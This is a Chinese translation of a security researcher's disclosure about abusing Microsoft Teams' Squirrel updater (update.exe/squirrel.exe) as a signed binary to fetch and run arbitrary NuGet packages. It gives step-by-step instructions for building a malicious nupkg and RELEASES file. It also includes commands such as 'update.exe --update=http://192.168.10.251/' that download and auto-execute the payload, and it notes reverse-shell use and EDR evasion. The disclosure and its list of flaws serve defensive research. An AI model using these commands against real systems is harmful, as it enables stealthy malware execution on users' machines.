用微软的官方软件执行payload

iso60001  1996天前

22.png

Microsoft Team是微软Office套件中一个用于公司团队或项目团队的交流工具,集成了在线聊天,视频会议,文件共享,多人同时文档编辑等诸多团队常用的功能 ——百度百科

最近,我在研究微软旗下的“Team”工具,发现了一个非常有趣的功能,update。我从松鼠文档中了解到,这个功能可用来自动下载和执行Nuget包。而对于攻击者来说,这个功能貌似能用来下载和执行恶意代码。

Nuget是一个.NET平台下的开源的项目,它是Visual Studio的扩展。在使用Visual Studio开发基于.NET fr amework的应用时,Nuget能把在项目中添加、移除和更新引用的工作变得更加快捷方便。 ——百度百科

在花了几个小时研究后,我写了一个简单包,配合“Team”中的update功能够反弹回一个shell。

于是我很快向微软报告了这一情况,并很快得到了回应,他们表示将在不久后推出更新版本。于是,我本来打算在问题解决后再公布我的发现。

但是,很快我就发现不少安全人员都已研究出成果,并公布在社交媒体上。例如,研究人员MrUn1k0d3r就发现了update的一种滥用方法。

33.png

不少研究人员都为网络安全奉献了自己的力量。于是我也决定公开自己的发现,攻击者可能会使用这项技术绕过EDR/IDS的限制。

存在漏洞的位置:

%localappdata%/Microsoft/Teams/update.exe

%localappdata%/Microsoft/Teams/current/squirrel.exe

相关命令:

%localappdata%/Microsoft/Teams/update.exe --download [url to package]

%localappdata%/Microsoft/Teams/update.exe --update [url to package]

%localappdata%/Microsoft/Teams/update.exe --updateRollback=[URL to package]

%localappdata%/Microsoft/Teams/current/squirrel.exe --update=[URL to package]

%localappdata%/Microsoft/Teams/current/squirrel.exe --updateRollback=[URL to package]

创建payload:

1.随意创建一个nupkg包,在我的示例中为Exploit-1.5.60-full.nupkg

2.解压缩后,进入Exploit-1.5.60-full\lib\net45,你也许可以看到某些熟悉的东西,

bb.png

用你的恶意代码替换进去,再将整个文件夹压缩为Exploit-1.5.60-full.nupkg

3.使用下面的命令计算元数据。

sha1sum Exploit-1.5.60-full.nupkg && wc -c < Exploit-1.5.60-full.nupkg 

输出 : fa8b87f0b995498a6e890c832dcaf968997608d4 Exploit-1.5.60-full.nupkg 4695

4.创建名为RELEASES的文件,复制上述输出保存到文件中。至此,因此目录包含2个文件Exploit-1.5.60-full.nupkgRELEASES

5.上传文件到某个HTTP服务器,让它们可被远程访问。

攻击流程:

视频地址:https://youtu.be/rOP3hnkj7ls

1.下载并执行:

步骤1:进入目标应用程序文件夹,%localappdata%/Microsoft/Teams/

步骤2:运行以下命令,

update.exe --update=[HTTP服务器的地址]

例如:update.exe --update=http://192.168.10.251/

运行后,应用将下载恶意软件包并自动运行。

aa.png

2.下载(另一种方式):

44.jpg

55.png

update.exe --download=[HTTP服务器地址]

以上命令会将包含shellcode的包下载到“packages”文件夹。

影响:

  1. 利用Microsoft官方的二进制文件执行恶意代码。(恶意代码不会存储在硬盘中)

  2. 不需要高权限,普通Windows用户都可利用。

  3. 攻击者可借此规避EDR/IDS。

  4. 如果应用控制了系统文件,则可能会导致权限提升。

缺陷:

  1. update所涉及的URL没有任何限制,更没有身份验证。

  2. 下载的数据无安全检查。

  3. 安全更新功能的参数也许应该写死。

感谢你阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12

最新评论

昵称
邮箱
提交评论